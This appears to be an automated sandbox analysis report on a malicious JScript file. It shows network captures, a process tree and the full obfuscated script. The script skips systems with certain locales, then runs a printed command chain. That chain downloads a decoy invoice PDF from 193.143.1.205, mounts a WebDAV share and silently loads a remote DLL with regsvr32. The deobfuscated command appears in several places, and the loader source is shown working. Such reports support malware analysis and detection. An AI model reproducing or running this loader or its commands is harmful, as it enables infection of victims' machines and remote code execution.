Jan 10, 2025 19:01:54.547609091 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 19:01:54.586292028 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	5144	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:01:56.107525110 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:01:56.953927994 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:01:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:01:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js"
Imagebase:	0x7ff74b670000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:01:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Imagebase:	0x7ff76e6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:01:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:01:49
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:01:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:01:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76e6b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:01:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7347d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:01:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:01:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:01:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1580,i,531056716790514186,3125811349222089333,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:02:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function piexojvu() {	piexojvu() ➔ undefined
1	lwbsdnrrs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pmyhgqe = this[nmomhvefs + gtvett + ksrys + hmrmni + gyxyoafpf + dtezfv + plsziz + vvrig] ( this[xmdkswjjp + wisxgo + ycihezv + ksrys + fgjoappw + nmomhvefs + vvrig][mkcmrg + ksrys + gyxyoafpf + gtvett + vvrig + gyxyoafpf + aozcbjrz + ncmbnc + siouz + gyxyoafpf + ycihezv + vvrig] ( xmdkswjjp + wisxgo + ycihezv + ksrys + fgjoappw + nmomhvefs + vvrig + eobmqbqc + wisxgo + iwvfpbb + gyxyoafpf + lpfopz + lpfopz ) [orzwhx + gyxyoafpf + jliuhpady + orzwhx + gyxyoafpf + gtvett + hyisooja] ( goatrinun + cxugg + weprhujmn + dgzqw + qfxgfjzak + mkcmrg + piouauv + orzwhx + orzwhx + weprhujmn + yqtubp + lfbroxox + qfxgfjzak + piouauv + wisxgo + weprhujmn + orzwhx + feqbmz + mkcmrg + bscukmsdt + plsziz + vvrig + ksrys + bscukmsdt + lpfopz + oasbc + mamzmms + gtvett + plsziz + gyxyoafpf + lpfopz + feqbmz + dtezfv + plsziz + vvrig + gyxyoafpf + ksrys + plsziz + gtvett + vvrig + fgjoappw + bscukmsdt + plsziz + gtvett + lpfopz + feqbmz + ykliepl + bscukmsdt + ycihezv + gtvett + lpfopz + gyxyoafpf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( phkyhvk = 0 ; phkyhvk < lwbsdnrrs[lpfopz + gyxyoafpf + plsziz + jliuhpady + vvrig + iwvfpbb] ; ++ phkyhvk )
4	{
5	if ( pmyhgqe == lwbsdnrrs[phkyhvk] )
6	{
7	pmyhgqe = true;
8	break ;
9	}
10	}
11	if ( pmyhgqe !== true )
12	this[xmdkswjjp + wisxgo + ycihezv + ksrys + fgjoappw + nmomhvefs + vvrig][kqhrft + xgcbo + fgjoappw + vvrig] ( );
13	this[xmdkswjjp + wisxgo + ycihezv + ksrys + fgjoappw + nmomhvefs + vvrig][mkcmrg + ksrys + gyxyoafpf + gtvett + vvrig + gyxyoafpf + aozcbjrz + ncmbnc + siouz + gyxyoafpf + ycihezv + vvrig] ( xmdkswjjp + wisxgo + ycihezv + ksrys + fgjoappw + nmomhvefs + vvrig + eobmqbqc + wisxgo + iwvfpbb + gyxyoafpf + lpfopz + lpfopz ) [ksrys + xgcbo + plsziz] ( ycihezv + njhtfo + hyisooja + oasbc + ixnwcwhu + ycihezv + oasbc + nmomhvefs + bscukmsdt + simxmjrpw + gyxyoafpf + ksrys + hmrmni + iwvfpbb + gyxyoafpf + lpfopz + lpfopz + eobmqbqc + gyxyoafpf + ncbzk + gyxyoafpf + oasbc + ocpxrzp + mkcmrg + bscukmsdt + njhtfo + njhtfo + gtvett + plsziz + hyisooja + oasbc + azifbb + dtezfv + plsziz + jsnjbyjs + bscukmsdt + blyqcd + gyxyoafpf + ocpxrzp + xmdkswjjp + gyxyoafpf + ncmbnc + orzwhx + gyxyoafpf + yrywsck + xgcbo + gyxyoafpf + hmrmni + vvrig + oasbc + ocpxrzp + aozcbjrz + xgcbo + vvrig + iepxr + fgjoappw + lpfopz + gyxyoafpf + oasbc + eiplxwxg + vvrig + gyxyoafpf + njhtfo + nmomhvefs + eiplxwxg + feqbmz + fgjoappw + plsziz + jsnjbyjs + bscukmsdt + fgjoappw + ycihezv + gyxyoafpf + eobmqbqc + nmomhvefs + hyisooja + lhmpwzib + oasbc + iwvfpbb + vvrig + vvrig + nmomhvefs + kgjngdx + ixnwcwhu + ixnwcwhu + omblurb + kmzxmwfg + zeiioxfz + eobmqbqc + omblurb + nfreualw + zeiioxfz + eobmqbqc + omblurb + eobmqbqc + vakxah + keefel + awupwqn + ixnwcwhu + fgjoappw + plsziz + jsnjbyjs + bscukmsdt + fgjoappw + ycihezv + gyxyoafpf + eobmqbqc + nmomhvefs + iwvfpbb + nmomhvefs + azifbb + wxsygsvj + wxsygsvj + hmrmni + vvrig + gtvett + ksrys + vvrig + oasbc + eiplxwxg + vvrig + gyxyoafpf + njhtfo + nmomhvefs + eiplxwxg + feqbmz + fgjoappw + plsziz + jsnjbyjs + bscukmsdt + fgjoappw + ycihezv + gyxyoafpf + eobmqbqc + nmomhvefs + hyisooja + lhmpwzib + wxsygsvj + wxsygsvj + ycihezv + njhtfo + hyisooja + oasbc + ixnwcwhu + ycihezv + oasbc + plsziz + gyxyoafpf + vvrig + oasbc + xgcbo + hmrmni + gyxyoafpf + oasbc + feqbmz + feqbmz + omblurb + kmzxmwfg + zeiioxfz + eobmqbqc + omblurb + nfreualw + zeiioxfz + eobmqbqc + omblurb + eobmqbqc + vakxah + keefel + awupwqn + bkysesxcp + jpuhzswup + jpuhzswup + jpuhzswup + jpuhzswup + feqbmz + hyisooja + gtvett + jsnjbyjs + simxmjrpw + simxmjrpw + simxmjrpw + ksrys + bscukmsdt + bscukmsdt + vvrig + feqbmz + wxsygsvj + wxsygsvj + ycihezv + njhtfo + hyisooja + oasbc + ixnwcwhu + ycihezv + oasbc + ksrys + gyxyoafpf + jliuhpady + hmrmni + jsnjbyjs + ksrys + zeiioxfz + vakxah + oasbc + ixnwcwhu + hmrmni + oasbc + feqbmz + feqbmz + omblurb + kmzxmwfg + zeiioxfz + eobmqbqc + omblurb + nfreualw + zeiioxfz + eobmqbqc + omblurb + eobmqbqc + vakxah + keefel + awupwqn + bkysesxcp + jpuhzswup + jpuhzswup + jpuhzswup + jpuhzswup + feqbmz + hyisooja + gtvett + jsnjbyjs + simxmjrpw + simxmjrpw + simxmjrpw + ksrys + bscukmsdt + bscukmsdt + vvrig + feqbmz + vakxah + aouvtoz + aouvtoz + keefel + omblurb + omblurb + awupwqn + omblurb + nfreualw + nfreualw + vakxah + omblurb + zeiioxfz + awupwqn + zeiioxfz + eobmqbqc + hyisooja + lpfopz + lpfopz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll",0,false) ➔ 0
14	}
15	ocpxrzp = "y";
16	ocpxrzp = "H";
17	ocpxrzp = "X";
18	ocpxrzp = "k";
19	ocpxrzp = "N";
20	ocpxrzp = "x";
21	ocpxrzp = "L";
22	ocpxrzp = "c";
23	ocpxrzp = "R";
24	ocpxrzp = "M";
25	ocpxrzp = "u";
26	ocpxrzp = "Z";
27	ocpxrzp = "W";
28	ocpxrzp = "w";
29	ocpxrzp = "M";
30	ocpxrzp = "B";
31	ocpxrzp = "K";
32	ocpxrzp = "m";
33	ocpxrzp = "E";
34	ocpxrzp = "m";
35	ocpxrzp = "x";
36	ocpxrzp = "-";
37	wisxgo = "g";
38	wisxgo = "N";
39	wisxgo = "D";
40	wisxgo = "W";
41	wisxgo = "k";
42	wisxgo = "m";
43	wisxgo = "Z";
44	wisxgo = "q";
45	wisxgo = "j";
46	wisxgo = "z";
47	wisxgo = "G";
48	wisxgo = "t";
49	wisxgo = "S";
50	wisxgo = "t";
51	wisxgo = "H";
52	wisxgo = "F";
53	wisxgo = "E";
54	wisxgo = "j";
55	wisxgo = "Z";
56	wisxgo = "n";
57	wisxgo = "O";
58	wisxgo = "j";
59	wisxgo = "X";
60	wisxgo = "l";
61	wisxgo = "m";
62	wisxgo = "T";
63	wisxgo = "J";
64	wisxgo = "T";
65	wisxgo = "F";
66	wisxgo = "h";
67	wisxgo = "a";
68	wisxgo = "Q";
69	wisxgo = "C";
70	wisxgo = "z";
71	wisxgo = "e";
72	wisxgo = "Y";
73	wisxgo = "x";
74	wisxgo = "l";
75	wisxgo = "n";
76	wisxgo = "S";
77	kqhrft = "m";
78	kqhrft = "q";
79	kqhrft = "A";
80	kqhrft = "f";
81	kqhrft = "I";
82	kqhrft = "N";
83	kqhrft = "F";
84	kqhrft = "o";
85	kqhrft = "y";
86	kqhrft = "Y";
87	kqhrft = "T";
88	kqhrft = "I";
89	kqhrft = "U";
90	kqhrft = "Z";
91	kqhrft = "W";
92	kqhrft = "I";
93	kqhrft = "v";
94	kqhrft = "U";
95	kqhrft = "W";
96	kqhrft = "w";
97	kqhrft = "x";
98	kqhrft = "P";
99	kqhrft = "c";
100	kqhrft = "s";
101	kqhrft = "i";
102	kqhrft = "k";
103	kqhrft = "e";
104	kqhrft = "w";
105	kqhrft = "G";
106	kqhrft = "Q";
107	ncmbnc = "E";
108	ncmbnc = "c";
109	ncmbnc = "O";
110	ncmbnc = "u";
111	ncmbnc = "e";
112	ncmbnc = "j";
113	ncmbnc = "k";
114	ncmbnc = "m";
115	ncmbnc = "f";
116	ncmbnc = "k";
117	ncmbnc = "h";
118	ncmbnc = "Y";
119	ncmbnc = "H";
120	ncmbnc = "e";
121	ncmbnc = "L";
122	ncmbnc = "n";
123	ncmbnc = "W";
124	ncmbnc = "y";
125	ncmbnc = "Q";
126	ncmbnc = "H";
127	ncmbnc = "l";
128	ncmbnc = "p";
129	ncmbnc = "R";
130	ncmbnc = "I";
131	ncmbnc = "X";
132	ncmbnc = "s";
133	ncmbnc = "I";
134	ncmbnc = "f";
135	ncmbnc = "b";
136	ncmbnc = "A";
137	ncmbnc = "n";
138	ncmbnc = "T";
139	ncmbnc = "b";
140	wxsygsvj = "q";
141	wxsygsvj = "I";
142	wxsygsvj = "Q";
143	wxsygsvj = "U";
144	wxsygsvj = "E";
145	wxsygsvj = "O";
146	wxsygsvj = "w";
147	wxsygsvj = "j";
148	wxsygsvj = "B";
149	wxsygsvj = "Z";
150	wxsygsvj = "b";
151	wxsygsvj = "B";
152	wxsygsvj = "F";
153	wxsygsvj = "T";
154	wxsygsvj = "o";
155	wxsygsvj = "z";
156	wxsygsvj = "N";
157	wxsygsvj = "n";
158	wxsygsvj = "r";
159	wxsygsvj = "V";
160	wxsygsvj = "Y";
161	wxsygsvj = "H";
162	wxsygsvj = "L";
163	wxsygsvj = "t";
164	wxsygsvj = "t";
165	wxsygsvj = "X";
166	wxsygsvj = "&";
167	ncbzk = "o";
168	ncbzk = "Y";
169	ncbzk = "S";
170	ncbzk = "E";
171	ncbzk = "E";
172	ncbzk = "o";
173	ncbzk = "M";
174	ncbzk = "N";
175	ncbzk = "b";
176	ncbzk = "S";
177	ncbzk = "W";
178	ncbzk = "R";
179	ncbzk = "e";
180	ncbzk = "Y";
181	ncbzk = "G";
182	ncbzk = "L";
183	ncbzk = "Q";
184	ncbzk = "K";
185	ncbzk = "P";
186	ncbzk = "e";
187	ncbzk = "f";
188	ncbzk = "j";
189	ncbzk = "g";
190	ncbzk = "c";
191	ncbzk = "M";
192	ncbzk = "x";
193	simxmjrpw = "p";
194	simxmjrpw = "f";
195	simxmjrpw = "h";
196	simxmjrpw = "Z";
197	simxmjrpw = "F";
198	simxmjrpw = "z";
199	simxmjrpw = "G";
200	simxmjrpw = "G";
201	simxmjrpw = "h";
202	simxmjrpw = "o";
203	simxmjrpw = "g";
204	simxmjrpw = "d";
205	simxmjrpw = "w";
206	ixnwcwhu = "M";
207	ixnwcwhu = "C";
208	ixnwcwhu = "O";
209	ixnwcwhu = "T";
210	ixnwcwhu = "R";
211	ixnwcwhu = "t";
212	ixnwcwhu = "Z";
213	ixnwcwhu = "X";
214	ixnwcwhu = "a";
215	ixnwcwhu = "L";
216	ixnwcwhu = "b";
217	ixnwcwhu = "z";
218	ixnwcwhu = "V";
219	ixnwcwhu = "T";
220	ixnwcwhu = "V";
221	ixnwcwhu = "i";
222	ixnwcwhu = "/";
223	eiplxwxg = "l";
224	eiplxwxg = "J";
225	eiplxwxg = "D";
226	eiplxwxg = "N";
227	eiplxwxg = "c";
228	eiplxwxg = "k";
229	eiplxwxg = "d";
230	eiplxwxg = "n";
231	eiplxwxg = "n";
232	eiplxwxg = "p";
233	eiplxwxg = "c";
234	eiplxwxg = "x";
235	eiplxwxg = "k";
236	eiplxwxg = "p";
237	eiplxwxg = "c";
238	eiplxwxg = "z";
239	eiplxwxg = "w";
240	eiplxwxg = "K";
241	eiplxwxg = "L";
242	eiplxwxg = "g";
243	eiplxwxg = "p";
244	eiplxwxg = "%";
245	iepxr = "M";
246	iepxr = "e";
247	iepxr = "F";
248	iepxr = "H";
249	iepxr = "D";
250	iepxr = "u";
251	iepxr = "Q";
252	iepxr = "O";
253	iepxr = "j";
254	iepxr = "j";
255	iepxr = "q";
256	iepxr = "f";
257	iepxr = "c";
258	iepxr = "Z";
259	iepxr = "Q";
260	iepxr = "L";
261	iepxr = "F";
262	jpuhzswup = "U";
263	jpuhzswup = "8";
264	jsnjbyjs = "t";
265	jsnjbyjs = "u";
266	jsnjbyjs = "h";
267	jsnjbyjs = "b";
268	jsnjbyjs = "h";
269	jsnjbyjs = "V";
270	jsnjbyjs = "z";
271	jsnjbyjs = "J";
272	jsnjbyjs = "Z";
273	jsnjbyjs = "F";
274	jsnjbyjs = "V";
275	jsnjbyjs = "Q";
276	jsnjbyjs = "c";
277	jsnjbyjs = "r";
278	jsnjbyjs = "x";
279	jsnjbyjs = "t";
280	jsnjbyjs = "E";
281	jsnjbyjs = "g";
282	jsnjbyjs = "r";
283	jsnjbyjs = "B";
284	jsnjbyjs = "F";
285	jsnjbyjs = "m";
286	jsnjbyjs = "B";
287	jsnjbyjs = "v";
288	plsziz = "O";
289	plsziz = "v";
290	plsziz = "s";
291	plsziz = "M";
292	plsziz = "i";
293	plsziz = "h";
294	plsziz = "N";
295	plsziz = "y";
296	plsziz = "d";
297	plsziz = "T";
298	plsziz = "c";
299	plsziz = "S";
300	plsziz = "q";
301	plsziz = "n";
302	fgjoappw = "i";
303	yrywsck = "T";
304	yrywsck = "N";
305	yrywsck = "E";
306	yrywsck = "g";
307	yrywsck = "z";
308	yrywsck = "b";
309	yrywsck = "l";
310	yrywsck = "z";
311	yrywsck = "J";
312	yrywsck = "x";
313	yrywsck = "W";
314	yrywsck = "K";
315	yrywsck = "y";
316	yrywsck = "R";
317	yrywsck = "E";
318	yrywsck = "C";
319	yrywsck = "Y";
320	yrywsck = "P";
321	yrywsck = "Z";
322	yrywsck = "B";
323	yrywsck = "x";
324	yrywsck = "p";
325	yrywsck = "q";
326	orzwhx = "F";
327	orzwhx = "K";
328	orzwhx = "I";
329	orzwhx = "o";
330	orzwhx = "l";
331	orzwhx = "V";
332	orzwhx = "m";
333	orzwhx = "r";
334	orzwhx = "n";
335	orzwhx = "M";
336	orzwhx = "w";
337	orzwhx = "N";
338	orzwhx = "x";
339	orzwhx = "V";
340	orzwhx = "R";
341	lhmpwzib = "h";
342	lhmpwzib = "b";
343	lhmpwzib = "t";
344	lhmpwzib = "L";
345	lhmpwzib = "o";
346	lhmpwzib = "x";
347	lhmpwzib = "u";
348	lhmpwzib = "N";
349	lhmpwzib = "f";
350	njhtfo = "m";
351	xgcbo = "W";
352	xgcbo = "Z";
353	xgcbo = "a";
354	xgcbo = "a";
355	xgcbo = "g";
356	xgcbo = "t";
357	xgcbo = "B";
358	xgcbo = "i";
359	xgcbo = "y";
360	xgcbo = "c";
361	xgcbo = "u";
362	xgcbo = "w";
363	xgcbo = "c";
364	xgcbo = "J";
365	xgcbo = "B";
366	xgcbo = "a";
367	xgcbo = "w";
368	xgcbo = "S";
369	xgcbo = "K";
370	xgcbo = "U";
371	xgcbo = "T";
372	xgcbo = "m";
373	xgcbo = "d";
374	xgcbo = "Z";
375	xgcbo = "n";
376	xgcbo = "x";
377	xgcbo = "l";
378	xgcbo = "R";
379	xgcbo = "M";
380	xgcbo = "h";
381	xgcbo = "D";
382	xgcbo = "a";
383	xgcbo = "e";
384	xgcbo = "O";
385	xgcbo = "G";
386	xgcbo = "E";
387	xgcbo = "V";
388	xgcbo = "k";
389	xgcbo = "S";
390	xgcbo = "J";
391	xgcbo = "C";
392	xgcbo = "X";
393	xgcbo = "p";
394	xgcbo = "z";
395	xgcbo = "u";
396	nfreualw = "s";
397	nfreualw = "W";
398	nfreualw = "O";
399	nfreualw = "T";
400	nfreualw = "z";
401	nfreualw = "z";
402	nfreualw = "M";
403	nfreualw = "s";
404	nfreualw = "M";
405	nfreualw = "k";
406	nfreualw = "T";
407	nfreualw = "a";
408	nfreualw = "A";
409	nfreualw = "O";
410	nfreualw = "A";
411	nfreualw = "M";
412	nfreualw = "Y";
413	nfreualw = "x";
414	nfreualw = "C";
415	nfreualw = "n";
416	nfreualw = "P";
417	nfreualw = "q";
418	nfreualw = "D";
419	nfreualw = "i";
420	nfreualw = "o";
421	nfreualw = "D";
422	nfreualw = "R";
423	nfreualw = "4";
424	keefel = "Q";
425	keefel = "X";
426	keefel = "Y";
427	keefel = "K";
428	keefel = "r";
429	keefel = "M";
430	keefel = "q";
431	keefel = "R";
432	keefel = "l";
433	keefel = "R";
434	keefel = "w";
435	keefel = "s";
436	keefel = "j";
437	keefel = "O";
438	keefel = "g";
439	keefel = "d";
440	keefel = "m";
441	keefel = "K";
442	keefel = "k";
443	keefel = "Z";
444	keefel = "0";
445	kmzxmwfg = "u";
446	kmzxmwfg = "G";
447	kmzxmwfg = "n";
448	kmzxmwfg = "m";
449	kmzxmwfg = "k";
450	kmzxmwfg = "f";
451	kmzxmwfg = "h";
452	kmzxmwfg = "g";
453	kmzxmwfg = "h";
454	kmzxmwfg = "P";
455	kmzxmwfg = "s";
456	kmzxmwfg = "x";
457	kmzxmwfg = "G";
458	kmzxmwfg = "j";
459	kmzxmwfg = "r";
460	kmzxmwfg = "P";
461	kmzxmwfg = "l";
462	kmzxmwfg = "V";
463	kmzxmwfg = "9";
464	mkcmrg = "Z";
465	mkcmrg = "v";
466	mkcmrg = "P";
467	mkcmrg = "M";
468	mkcmrg = "l";
469	mkcmrg = "c";
470	mkcmrg = "y";
471	mkcmrg = "N";
472	mkcmrg = "p";
473	mkcmrg = "B";
474	mkcmrg = "X";
475	mkcmrg = "k";
476	mkcmrg = "o";
477	mkcmrg = "Z";
478	mkcmrg = "u";
479	mkcmrg = "j";
480	mkcmrg = "i";
481	mkcmrg = "W";
482	mkcmrg = "c";
483	mkcmrg = "v";
484	mkcmrg = "b";
485	mkcmrg = "B";
486	mkcmrg = "p";
487	mkcmrg = "P";
488	mkcmrg = "w";
489	mkcmrg = "b";
490	mkcmrg = "m";
491	mkcmrg = "y";
492	mkcmrg = "J";
493	mkcmrg = "I";
494	mkcmrg = "N";
495	mkcmrg = "l";
496	mkcmrg = "j";
497	mkcmrg = "p";
498	mkcmrg = "k";
499	mkcmrg = "c";
500	mkcmrg = "a";
501	mkcmrg = "O";
502	mkcmrg = "N";
503	mkcmrg = "E";
504	mkcmrg = "B";
505	mkcmrg = "U";
506	mkcmrg = "J";
507	mkcmrg = "C";
508	aozcbjrz = "r";
509	aozcbjrz = "P";
510	aozcbjrz = "J";
511	aozcbjrz = "y";
512	aozcbjrz = "R";
513	aozcbjrz = "v";
514	aozcbjrz = "b";
515	aozcbjrz = "G";
516	aozcbjrz = "t";
517	aozcbjrz = "U";
518	aozcbjrz = "d";
519	aozcbjrz = "O";
520	aozcbjrz = "X";
521	aozcbjrz = "H";
522	aozcbjrz = "P";
523	aozcbjrz = "h";
524	aozcbjrz = "Q";
525	aozcbjrz = "e";
526	aozcbjrz = "X";
527	aozcbjrz = "a";
528	aozcbjrz = "J";
529	aozcbjrz = "m";
530	aozcbjrz = "N";
531	aozcbjrz = "z";
532	aozcbjrz = "W";
533	aozcbjrz = "K";
534	aozcbjrz = "Q";
535	aozcbjrz = "N";
536	aozcbjrz = "X";
537	aozcbjrz = "G";
538	aozcbjrz = "f";
539	aozcbjrz = "E";
540	aozcbjrz = "O";
541	goatrinun = "N";
542	goatrinun = "n";
543	goatrinun = "K";
544	goatrinun = "h";
545	goatrinun = "D";
546	goatrinun = "b";
547	goatrinun = "H";
548	goatrinun = "d";
549	goatrinun = "I";
550	goatrinun = "U";
551	goatrinun = "p";
552	goatrinun = "w";
553	goatrinun = "E";
554	goatrinun = "g";
555	goatrinun = "H";
556	gtvett = "Z";
557	gtvett = "f";
558	gtvett = "g";
559	gtvett = "q";
560	gtvett = "L";
561	gtvett = "A";
562	gtvett = "g";
563	gtvett = "G";
564	gtvett = "A";
565	gtvett = "t";
566	gtvett = "W";
567	gtvett = "n";
568	gtvett = "o";
569	gtvett = "p";
570	gtvett = "x";
571	gtvett = "e";
572	gtvett = "j";
573	gtvett = "N";
574	gtvett = "Q";
575	gtvett = "b";
576	gtvett = "a";
577	cxugg = "n";
578	cxugg = "s";
579	cxugg = "K";
580	qfxgfjzak = "S";
581	qfxgfjzak = "D";
582	qfxgfjzak = "q";
583	qfxgfjzak = "X";
584	qfxgfjzak = "v";
585	qfxgfjzak = "i";
586	qfxgfjzak = "H";
587	qfxgfjzak = "g";
588	qfxgfjzak = "X";
589	qfxgfjzak = "z";
590	qfxgfjzak = "L";
591	qfxgfjzak = "v";
592	qfxgfjzak = "I";
593	qfxgfjzak = "_";
594	dgzqw = "G";
595	dgzqw = "Y";
596	weprhujmn = "h";
597	weprhujmn = "h";
598	weprhujmn = "j";
599	weprhujmn = "e";
600	weprhujmn = "l";
